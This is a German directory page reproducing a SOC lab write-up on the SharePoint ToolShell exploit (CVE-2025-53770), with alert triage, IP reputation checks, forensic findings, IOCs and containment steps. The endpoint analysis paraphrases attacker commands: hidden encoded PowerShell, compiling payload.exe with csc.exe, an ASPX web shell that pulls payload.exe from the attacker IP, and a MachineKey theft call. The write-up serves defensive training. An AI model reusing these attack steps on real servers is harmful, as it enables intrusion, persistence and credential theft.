Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320 — Schritt-für-Schritt-Durchlauf eines LetsDefend SOC342-Labors, das CVE-2025-53770 SharePoint ToolShell Auth Bypass und RCE analysiert, einschließlich Angriffskette, forensischer Analyse und Eindämmungsmaßnahmen. | Kitploit
Tools/GitHubGitHub/victormbogu1/letsdefend-soc342-cve-2025-53770-sharepoint-toolshell-auth-bypass-andrce-eventid-320
SchwachstellenanalyseExploitationWebanwendungs-ExploitationForensikCTFPenetrationstestsLernen & BildungIncident ResponseLabs & Praxis
GitHubvictormbogu1/letsdefend-soc342-cve-2025-53770-sharepoint-toolshell-auth-bypass-andrce-eventid-320

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

Schritt-für-Schritt-Durchlauf eines LetsDefend SOC342-Labors, das CVE-2025-53770 SharePoint ToolShell Auth Bypass und RCE analysiert, einschließlich Angriffskette, forensischer Analyse und Eindämmungsmaßnahmen.

Repository anzeigen
11vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🧠 LetsDefend SharePoint Zero-Day-Analyse (ToolShell - SOC342-CVE-2025-53770)

📘 Einführung

Ich habe eine SharePoint-Zero-Day-Schwachstelle namens ToolShell (CVE-2025-53770) im LetsDefend Cyber-Labor untersucht.
Die Übung simulierte einen realen Zero-Day-RCE-Angriff, bei dem eine bösartige POST-Anfrage die Authentifizierung umging, PowerShell ausführte, um MachineKeySection-Schlüssel zu stehlen, payload.exe kompilierte und eine schädliche Web-Shell (spinstall0.aspx) ablegte.
Dieses README dokumentiert den Angriffsprozess, die forensischen Schritte, die Eindämmungsmaßnahmen und die gewonnenen Erkenntnisse.


⚙️ Laborübersicht

FeldDetails
PlattformLetsDefend Cyber Range
ZielSharePoint Server (SharePoint01)
CVECVE-2025-53770
ZielsetzungRCE analysieren, Erkennung & Eindämmung üben
Verwendete ToolsWindows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Base64-Dekoder, LetsDefend Threat Intel

🚨 Der Alarm

Ein kritischer Alarm meldete verdächtige Aktivitäten, die auf ToolPane.aspx in SharePoint mit einer großen Payload und gefälschtem Referer abzielten.
Dies korreliert mit CVE-2025-53770, einer Zero-Day-Schwachstelle, die nicht authentifiziertes RCE über präparierte POST-Anfragen ermöglicht.

Nat_Created Nat_Created

🚨 Alarmübersicht — SOC342: CVE-2025-53770 SharePoint ToolShell Auth Bypass & RCE


🔴 Kritisch

Was es ist: Der diesem Alarm zugewiesene Schweregrad — höchste und dringendste Stufe.
Warum es wichtig ist: Zeigt an, dass dieses Ereignis zu einer vollständigen Systemkompromittierung (RCE) führen könnte. Als höchste Priorität behandeln: sofort isolieren und untersuchen.


🕒 22. Juli 2025 — 13:07 Uhr

Was es ist: Der Zeitstempel, zu dem der Alarm ausgelöst wurde.
Warum es wichtig ist: Verwenden Sie ihn, um Protokolle zu lokalisieren, zusammenhängende Ereignisse zu korrelieren und eine Zeitleiste zu erstellen (einige Minuten oder Stunden davor/danach suchen).


⭐ SOC342 — CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE (Regel)

Was es ist: Die Erkennungsregel oder Signatur, die ausgelöst hat, und die erfüllte Bedingung beschreibt (ToolShell-Exploit-Versuch).
Warum es wichtig ist: Identifiziert, welches Angriffsmuster erkannt wurde — nützlich für die Suche nach ähnlichen Fällen (z. B. nicht authentifizierte POSTs an Admin-Seiten oder mögliche Web-Shell-Uploads).


🧩 320 (EventID)

Was es ist: Numerischer Bezeichner für diese spezifische Alarminstanz oder Regel (herstellerdefiniert).
Warum es wichtig ist: Hilft bei der Verfolgung, Filterung und Referenzierung dieses Alarms in Tickets oder Berichten.


🌐 Web-Angriff (Kategorie)

Was es ist: Klassifizierung auf hoher Ebene — dieser Alarm zielt auf die Web-Infrastruktur ab.
Warum es wichtig ist: Leitet den Vorfall an das Web-/SharePoint-/Infrastruktur-Team weiter und wendet webspezifische Playbooks an.


👤 Stufe: Security Analyst

Was es ist: Analystenrolle oder Eskalationsstufe, die zur Bearbeitung des Alarms erwartet wird.
Warum es wichtig ist: Zeigt an, dass dies kein Tier-1-Alarm ist — erfordert einen Security Analyst (erfahrenen Responder) für sofortige Maßnahmen.


🖥️ Hostname: SharePoint01

Was es ist: Name des betroffenen Hosts (Ziel oder Ursprung der Aktivität).
Warum es wichtig ist: Dies ist das primäre Eindämmungsziel — dieses System zuerst isolieren, Beweise sichern und überwachen.


🌍 Quell-IP-Adresse: 107.191.58.76

Was es ist: Die IP, die die verdächtige Anfrage gesendet hat (Angreifer oder Proxy).
Warum es wichtig ist: Blockieren Sie sie an der Firewall/dem WAF, suchen Sie nach weiteren Treffern von dieser IP und prüfen Sie Besitz-/Geoinformationen. Hinweis: IPs können gefälscht sein oder zu Botnetzen gehören.


🧭 Ziel-IP-Adresse: 172.16.20.17

Was es ist: Die interne Ziel-IP (SharePoint01).
Warum es wichtig ist: Bestätigt, welches interne System angegriffen wurde — dem Hostnamen zuordnen und interne Zugriffspfade/Firewall-Regeln überprüfen.


📬 HTTP-Anfragemethode: POST

Was es ist: Das verwendete HTTP-Verb — der Client hat Daten an den Server gesendet.
Warum es wichtig ist: POSTs an Admin-Endpunkte sind verdächtig, wenn sie nicht authentifiziert sind oder groß sind — sie können Exploit-Payloads oder Web-Shells enthalten.


📎 Angeforderte URL:

/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Was es ist: Der exakt anvisierte Web-Pfad und die Parameter.
Warum es wichtig ist: Dies ist ein SharePoint-Admin-/Layout-Endpunkt — häufig von Angreifern für Auth-Bypass oder Code-Uploads missbraucht. Suchen Sie nach anderen Anfragen an denselben Pfad.


🧠 User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Was es ist: Die vom Client gemeldete Browser-Zeichenkette.
Warum es wichtig ist: Wird von Angreifern oft gefälscht, um legitim zu wirken — kann beim Filtern von Protokollen helfen, aber verlassen Sie sich nicht darauf für die Zuordnung.


🔗 Referer:

/_layouts/SignOut.aspx
Was es ist: HTTP-Header, der angibt, dass die Anfrage von der Abmelde-Seite von SharePoint stammt.
Warum es wichtig ist: Gefälschte Referer sind verdächtig — können verwendet werden, um Prüfungen zu umgehen oder normalen Datenverkehr nachzuahmen. Vergleichen Sie sie mit legitimen Navigationsabläufen.


📦 Content-Length: 7699

Was es ist: Größe des HTTP-Anfragekörpers (in Bytes).
Warum es wichtig ist: Ein großer POST-Körper an einen Admin-Endpunkt deutet auf einen serialisierten Exploit oder Datei-Upload hin. Suchen Sie nach anderen POSTs ähnlicher Größe an dieselbe URL.


⚠️ Auslösegrund des Alarms

Text: Verdächtige, nicht authentifizierte POST-Anfrage, die auf ToolPane.aspx mit großer Payload und gefälschtem Referer abzielt — weist auf die Ausnutzung von CVE-2025-53770 hin.
Was es ist: Regelerklärung, die das übereinstimmende Verhalten zusammenfasst.
Warum es wichtig ist: Beschreibt genau, warum der Alarm ausgelöst hat — überprüfen Sie, ob die Anfrage nicht authentifiziert war, welche Payload gesendet wurde und ob sie bekannten Exploit-Mustern entspricht.


🚧 Geräteaktion: Allowed

Was es ist: Zeigt die Reaktion des Schutzgeräts an (z. B. WAF/Firewall).
Warum es wichtig ist: Da die Anfrage erlaubt wurde, hat der Angriff den Host erreicht — als potenzielle Kompromittierung behandeln.
Sofortmaßnahmen:

  • Quell-IP blockieren (107.191.58.76)
  • Blockierregeln aktivieren
  • Ziel-Host untersuchen (SharePoint01)
  • WAF/Firewall abstimmen, um zukünftige Anfragen mit ähnlichen Mustern zu blockieren.

🔎 Zusammenfassung:
Dieser Alarm spiegelt einen nicht authentifizierten Exploit-Versuch wider, der ToolPane.aspx (SharePoint-RCE CVE-2025-53770) ausnutzt. Die POST-Anfrage enthielt eine große Payload und einen gefälschten Referer, was mit dem ToolShell-Zero-Day-Exploit-Verhalten übereinstimmt. Da das Gerät die Anfrage erlaubt hat, ist von einer möglichen Kompromittierung auszugehen, bis das Gegenteil bewiesen ist. 🟥 Schweregrad: Kritisch


Schnellprüfungen (1–3 Minuten)

  1. Suchen Sie in IIS/WAF nach POST-Anfragen an ToolPane.aspx (um 2025-07-22 13:07):
    Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt

  2. Ziehen Sie den vollständigen POST-Körper aus WAF/Proxy oder Paketaufzeichnung und speichern Sie ihn im forensischen Share.

  3. Suchen Sie nach neuen/geänderten ASPX-Dateien im Webroot (Web-Shells):
    Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime

  4. Blockieren Sie den Angreifer und isolieren Sie den Host: Blockieren Sie 107.191.58.76 an der Perimeter-Firewall/dem WAF und verschieben Sie SharePoint01 in Quarantäne (oder schränken Sie ausgehenden Datenverkehr ein).

Löschen Sie mutmaßliche Dateien nicht — erstellen Sie zuerst forensische Kopien.

🧩 Was ist SharePoint?

Microsoft SharePoint ist eine Plattform für Zusammenarbeit und Dokumentenverwaltung.
Sie bietet sichere Dateispeicherung, Versionskontrolle und Intranet-Portale, integriert mit Active Directory, Teams, Outlook und Power BI.

🔐 Sicherheitsaspekte

  • Verwendet AD/SSO zur Authentifizierung
  • Datenverschlüsselung im Ruhezustand und bei der Übertragung
  • Webparts und Layouts können bei falscher Konfiguration missbraucht werden
  • Erfordert regelmäßiges Patchen, um sich gegen Zero-Days zu verteidigen

🧨 CVE-2025-53770 (ToolShell)

Eine kritische, nicht authentifizierte RCE-Schwachstelle in Microsoft SharePoint Server, die unsichere Deserialisierung ausnutzt.
Angreifer verwenden sie, um:

  • Code remote auszuführen
  • MachineKey-Material zu exfiltrieren
  • Web-Shells zur Persistenz zu installieren

🧮 CVSS-Score: 9.8 (Kritisch)
📡 Ausnutzung: Aktiv in freier Wildbahn


🧠 Angriffsanalyse mit VirusTotal

Quell-IP: 107.191.58.76
🧩 Ergebnis: 15/95 Sicherheitsanbieter haben sie als bösartig eingestuft.

Nat_Created

🌍 IP-Standort & Ruf

Über AbuseIPDB geprüft — IP steht in Verbindung mit:

  • Hacking- und Brute-Force-Versuchen
  • Web-App-Angriffen
  • Port-Scans
  • DNS-Vergiftung

AbuseIPDB-Ergebnis

🌐 Talos-IP-Ruf

Über Talos Intelligence geprüft — IP-/Subnetz-Merkmale:

  • Gehostet von Vultr (Cloud-Anbieter)
  • Hostnamen im Bereich: *.vultrusercontent.com
  • Vorwärts-/Rückwärts-DNS meist nicht übereinstimmend
  • E-Mail-Ruf: Meist Neutral, einige Poor
  • Minimales E-Mail-Volumen (0–0,6 pro Tag/Monat)
  • Weist auf gelegentlichen Missbrauch hin und untermauert den Kontext bösartiger Aktivitäten

AbuseIPDB-Ergebnis


🖥️ Endpunkt-Analyse

Host SharePoint01 in Endpoint Security gefunden.
Terminal-Verlauf auf verdächtige Befehle untersucht.

Terminal-Verlauf

Dieses Protokoll zeigt, dass um 13:07:11 ein PowerShell-Prozess unter dem SharePoint-Anwendungspool lief und einen Base64-kodierten Befehl ausführte. Der übergeordnete Prozess war services.exe, und der Angriff zielte auf SharePoint-Verzeichnisse ab. Dies ist ein klarer Indikator für ToolShell-Ausnutzung und Remote-Codeausführung innerhalb des SharePoint-Servers.


🧾 PowerShell-Erkenntnisse

Was die PowerShell-Befehlsoptionen bedeuten

  • -nop = -NoProfile: PowerShell ohne Laden des Benutzerprofils starten (vermeidet profilbasierte Erkennung, läuft schneller).
  • -w hidden = -WindowStyle Hidden: ohne Anzeigen eines Fensters ausführen (verdeckt).
  • -e = -EncodedCommand: Die folgende Zeichenkette ist Base64-kodierter PowerShell-Inhalt (normalerweise UTF-16LE oder manchmal UTF-8) — wird verwendet, um Code vor beiläufiger Betrachtung und einfachen Protokollen zu verbergen.
  • <BASE64>: Lange Base64-Payload — dekodiert enthält sie ein ASPX-Serverskript (sieht aus wie eine Web-Shell), das die MachineKey-Werte liest.

Terminal-Verlauf

Befehlszeilen-Erkenntnisse mit Base64-Dekoder:

Terminal-Verlauf

⚙️ Verhaltenszusammenfassung

  • Verwendet Reflexion, um die System.Web-Assembly zu laden
  • Greift auf die nicht öffentliche Methode MachineKeySection zu
  • Liest ValidationKey & DecryptionKey
  • Schreibt Ergebnisse in die HTTP-Antwort → Exfiltration

Dies deutet auf MachineKey-Diebstahl zur Fälschung von ViewState-/Auth-Tokens hin — klassische ToolShell-Ausnutzung.

Befehl 1 — C#-Kompilierung:

Terminal-Verlauf

🧩 Erkenntnis: Der Angreifer kompilierte payload.cs mit dem integrierten .NET-Compiler zu payload.exe → wahrscheinlich Schadsoftware.

Was dies wörtlich tut (Schritt für Schritt):

  • Führt das Programm csc.exe aus → den C#-Compiler, der mit dem .NET Framework geliefert wird.
  • /out:C:\Windows\Temp\payload.exe → teilt dem Compiler mit, wo das kompilierte Programm gespeichert werden soll und wie es heißen soll (payload.exe).
  • C:\Windows\Temp\payload.cs → die C#-Quelldatei (menschenlesbarer Code), die der Compiler in ein ausführbares Programm umwandelt.

Warum dies gefährlich ist (Erklärung für Anfänger):

  • Der Angreifer hat Textcode (.cs) auf dem Opferrechner in eine ausführbare Datei (.exe) umgewandelt.
  • Die Binärdatei (payload.exe) kann alle Aktionen ausführen, die der Angreifer programmiert hat: Netzwerkverbindungen öffnen, Shells starten, Persistenz installieren oder Daten stehlen.
  • Die Verwendung des integrierten Compilers hilft Angreifern, das Ablegen offensichtlicher schädlicher Binärdateien zu vermeiden und kann reine Skriptüberwachung umgehen.

Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:

  • Nachdem der Angreifer über den Web-Exploit Codeausführung erlangt hatte, erstellte oder lud er payload.cs hoch.
  • Er kompilierte es zu payload.exe, damit es als natives Programm auf dem Server laufen konnte.
  • Die kompilierte Payload wurde dann für Folgeaktionen verwendet (Beaconing, Backdoors, seitliche Bewegung).

Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):

  • Prozesserstellungsereignisse für csc.exe mit Argumenten, die auf payload.cs oder /out:C:\Windows\Temp\payload.exe verweisen.
  • Existenz von C:\Windows\Temp\payload.cs und C:\Windows\Temp\payload.exe (forensische Kopien sichern und Hashes berechnen).
  • Über-/untergeordnete Prozessbeziehungen, die zeigen, dass w3wp.exe / powershell.exe / cmd.exe csc.exe starten.
  • Netzwerkaktivität oder Prozessaktivität, die von payload.exe ausgeht, falls es ausgeführt wurde.

Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer verwendete den .NET-C#-Compiler (csc.exe), um payload.cs auf dem Host zu payload.exe zu kompilieren — Erstellung einer nativen ausführbaren Datei für nachfolgende schädliche Aktivitäten.


Befehl 2 — Bereitstellung der Web-Shell:

Terminal-Verlauf

🧩 Erkenntnis: spinstall0.aspx im LAYOUTS-Verzeichnis von SharePoint erstellt → webzugängliche Hintertür.

Was dies wörtlich tut (Schritt für Schritt, in einfachem Deutsch):

  • Führt cmd.exe /c aus → startet die Windows-Befehlsshell, um einen einzelnen Befehl auszuführen und dann zu beenden.
  • echo <...> > "...\spinstall0.aspx" → gibt den bereitgestellten HTML/ASPX-Text aus und schreibt ihn in die Datei spinstall0.aspx (der >-Operator erstellt oder überschreibt die Datei).
  • Der geschriebene Inhalt enthält runat="server" → macht die Datei zu serverseitigem ASPX, sodass IIS/SharePoint sie innerhalb des Webanwendungsprozesses ausführt, anstatt sie als statischen Text auszuliefern.
  • Das <object>-Element enthält Url="http://107.191.58.76/payload.exe" → weist die Seite (oder den Server bei Ausführung) an, die payload.exe des Angreifers vom Remote-Host abzurufen.

Warum dies gefährlich ist (Erklärung für Anfänger):

  • Der Angreifer hat eine serverseitige Seite in einem webzugänglichen SharePoint-Ordner erstellt; da sie auf dem Server läuft, kann sie Aktionen mit den Rechten der Webanwendung ausführen.
  • Die Seite kann den Server anweisen, die Payload des Angreifers herunterzuladen und auszuführen, was Remote-Codeausführung und Persistenz ermöglicht.
  • Eine Datei im Webroot ist über HTTP-Anfragen leicht auslösbar und ermöglicht die Remote-Wiederverwendung ohne weitere Uploads.

Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:

  • Nach der ersten Codeausführung über den ToolPane.aspx-Exploit schrieb der Angreifer spinstall0.aspx in den LAYOUTS-Ordner von SharePoint.
  • Die Web-Shell wird durch den Besuch der Seite ausgelöst oder vom Anwendungscode aufgerufen, wodurch der Server payload.exe vom Host des Angreifers abruft.
  • Die abgerufene Payload wird dann ausgeführt oder bereitgestellt und bietet dem Angreifer eine persistente Hintertür.

Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):

  • Datei vorhanden unter:
    C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — forensische Kopie sichern und SHA256 berechnen.
  • Dateierstellungs-/Schreibereignisse (Sysmon EventID 11 oder Windows Audit 4663), die zeigen, dass cmd.exe in diesen Pfad schreibt.
  • IIS-Protokolle mit Anfragen an spinstall0.aspx oder ausgehenden Anfragen an http://107.191.58.76/payload.exe.
  • Prozesserstellung oder Netzwerkaktivität unmittelbar nach Zugriffen auf spinstall0.aspx (weist auf Payload-Download/-Ausführung hin).
  • Andere verdächtige ASPX-Dateien im SharePoint-LAYOUTS-Ordner mit ähnlichem Inhalt oder ähnlichen Namen.

Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer erstellte eine serverseitige ASPX-Web-Shell (spinstall0.aspx) im LAYOUTS-Ordner von SharePoint, die den Server anweist, payload.exe von der Angreifer-Infrastruktur abzurufen/auszuführen — persistente Remote-Hintertür.

Befehl 3 — MachineKey-Exfiltration:

Terminal-Verlauf

🧩 Erkenntnis: PowerShell ausgeführt, um die MachineKey-Konfiguration zu lesen und zu exfiltrieren — direkte RCE-Vorbedingung.

Was dies wörtlich tut (Schritt für Schritt):

  • Führt powershell.exe aus → die Windows-Skript-Shell.
  • -Command weist PowerShell an, den folgenden Ausdruck auszuführen.
  • [System.Web.Configuration.MachineKeySection]::GetApplicationConfig() ruft über .NET das ASP.NET-machineKey-Konfigurationsobjekt ab (enthält ValidationKey, DecryptionKey und zugehörige Einstellungen).
  • Kurz gesagt: Der Angreifer forderte .NET (über PowerShell) auf, die geheimen machineKey-Werte der Webanwendung zurückzugeben.

Warum dies gefährlich ist (Erklärung für Anfänger):

  • Der machineKey enthält Geheimnisse, die ASP.NET verwendet, um:
    • ViewState und Formular-Auth-Cookies zu signieren und zu validieren.
    • Sensible Web-Token zu verschlüsseln/entschlüsseln.
  • Wenn ein Angreifer ValidationKey/DecryptionKey erlangt, kann er:
    • Signierte ViewState- oder Auth-Cookies fälschen oder Token entschlüsseln.
    • Den Server dazu bringen, gefälschte Anfragen zu akzeptieren → Authentifizierung umgehen, RCE oder Rechteausweitung ermöglichen.

Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:

  • ToolPane.aspx ausnutzen, um Code im SharePoint-App-Prozess auszuführen.
  • Diesen PowerShell-Befehl (oder ein ASPX, das dasselbe tut) ausführen, um den machineKey zu lesen.
  • ValidationKey / DecryptionKey erfassen.
  • Schlüssel verwenden, um signierte Payloads (z. B. bösartigen ViewState) oder gültige Auth-Cookies zur Zugriffsausweitung zu erstellen.

Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):

  • Prozesserstellungsereignisse, die powershell.exe mit GetApplicationConfig oder MachineKeySection in der Befehlszeile zeigen.
  • Webantworten, Protokolle oder gespeicherte Dateien mit langen Hex-Zeichenketten (wahrscheinlich ValidationKey / DecryptionKey).
  • ASPX-Seiten oder Web-Shells, die MachineKeySection / GetApplicationConfig aufrufen.
  • Ungewöhnliche Aktivität des Web-App-Pool-Benutzers (z. B. IIS APPPOOL\SharePoint) zu denselben Zeitstempeln.

Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer führte PowerShell aus, um System.Web.Configuration.MachineKeySection::GetApplicationConfig() aufzurufen — Versuch, den ASP.NET-machineKey (ValidationKey/DecryptionKey) zu exfiltrieren, was Token-Fälschung und Authentifizierungsumgehung ermöglicht.Terminal History

🔍 Threat-Intelligence-Erkenntnisse

Quelle: LetsDefend Threat Intel (abgefragt über IP 107.191.58.76)

  • Mit CVE‑2025‑53770 markiert und Referer: /_layouts/SignOut.aspx beobachtet.
    Interpretation: Der Angreifer hat wahrscheinlich legitimen SharePoint-Abmelde-Traffic vorgetäuscht, um bösartige POST-Anfragen zu verschleiern. Die Eindämmung wurde sofort eingeleitet.

Terminal History


🧩 Indikatoren für Kompromittierung (IOCs)

TypIndikatorBeschreibung
IP107.191.58.76Quell-IP des Angreifers, die Exploit-POST sendet
URL/_layouts/15/ToolPane.aspx?DisplayMode=EditExploit-Endpunkt
Dateispinstall0.aspxBereitgestellte schädliche ASPX-Webshell
StringMachineKeySectionNachweis eines machineKey-Exfiltrationsversuchs

🧾 Analysten-Notiz (SOC-342)

  • Datum/Uhrzeit: 2025-07-22 13:07
  • Fall-ID: SOC-342
  • Host: SharePoint01
  • Schweregrad: 🔴 Kritisch
  • Analyst: Victor

📋 Zusammenfassung

Ausnutzung der ToolShell-Zero-Day-Schwachstelle (CVE‑2025‑53770) gegen lokales SharePoint (SharePoint01) erkannt. Der Angreifer (IP 107.191.58.76) umging die Authentifizierung und führte mehrere Post-Exploit-Aktionen aus:

  • Lud spinstall0.aspx (Webshell) in das LAYOUTS-Verzeichnis von SharePoint hoch.
  • Kompilierte payload.exe lokal mit dem .NET-C#-Compiler.
  • Führte PowerShell aus, um ASP.NET-MachineKey-Werte auszulesen bzw. zu exfiltrieren.

Terminal History Terminal History Terminal History

Fazit: Kompromittierung bestätigt — Webshell-Bereitstellung, Schlüssel-Exfiltration und Payload-Kompilierung auf dem Host.


🧰 Eindämmung & Behebung

✅ Empfohlene Maßnahmen

  • Eindämmen: SharePoint01 isolieren (Quarantäne-VLAN) oder Angreifer-IPs an Perimeter/WAF/Firewall blockieren.
  • Suchen: Alle SharePoint-Server nach spinstall*.aspx, payload.exe (nach Dateiname/Hash) sowie nach Nutzung von GetApplicationConfig/MachineKeySection durchsuchen.
  • Beseitigen: spinstall0.aspx, nicht autorisierte geplante Aufgaben/Dienste und jegliche erkannte Malware entfernen (nach Sicherung forensischer Kopien).
  • Abschwächen: ASP.NET-machineKey-Werte rotieren (mit den Anwendungsbesitzern abstimmen) und die Microsoft-Notfall-Patches vom Juli 2025 auf alle lokalen SharePoint-Instanzen anwenden.
  • Erkennen & Verhindern:
    • Erkennungen für codierte PowerShell-Befehle (-EncodedCommand / -e) auf Webservern hinzufügen.
    • Warnungen bei csc.exe-Nutzung einrichten, die Code in C:\Windows\Temp auf Web-Hosts kompiliert.
    • Große unauthentifizierte POST-Anfragen an ToolPane.aspx über WAF-Regeln blockieren.

📚 Erkenntnisse

  • Zero-Day-Exploits verketten häufig Phasen: RCE → Persistenz → Exfiltration.
  • MachineKey-Exfiltration ist ein Hochrisiko-Indikator für SharePoint-Angriffe — behandeln Sie jeden Versuch als kritisch.
  • Integrierte System-Binärdateien (csc.exe, cmd.exe, powershell.exe) werden nach Exploits häufig missbraucht; überwachen Sie unerwartete Nutzung auf Webservern.
  • Schnelle Erkennung, Eindämmung und forensische Beweissicherung sind entscheidend, um die Auswirkungen zu begrenzen.

📝 Checkliste für die schnelle Reaktion (Zusammenfassung)

  1. SharePoint01 unter Quarantäne stellen und 107.191.58.76 blockieren.
  2. Forensische Kopien von spinstall0.aspx, payload.cs und payload.exe sichern (Zeitstempel erhalten).
  3. SHA256-Hashes berechnen und an Intel/EDR übermitteln (falls zulässig).
  4. Speicherabbilder von w3wp.exe / payload.exe zur Analyse erstellen.
  5. Infrastruktur nach den oben genannten IOCs durchsuchen.
  6. machineKey und betroffene Anmeldedaten nach der Beweissicherung rotieren.
  7. SharePoint sofort patchen; bei bestätigter Persistenz einen Neuaufbau des Hosts erwägen.

Tool herunterladen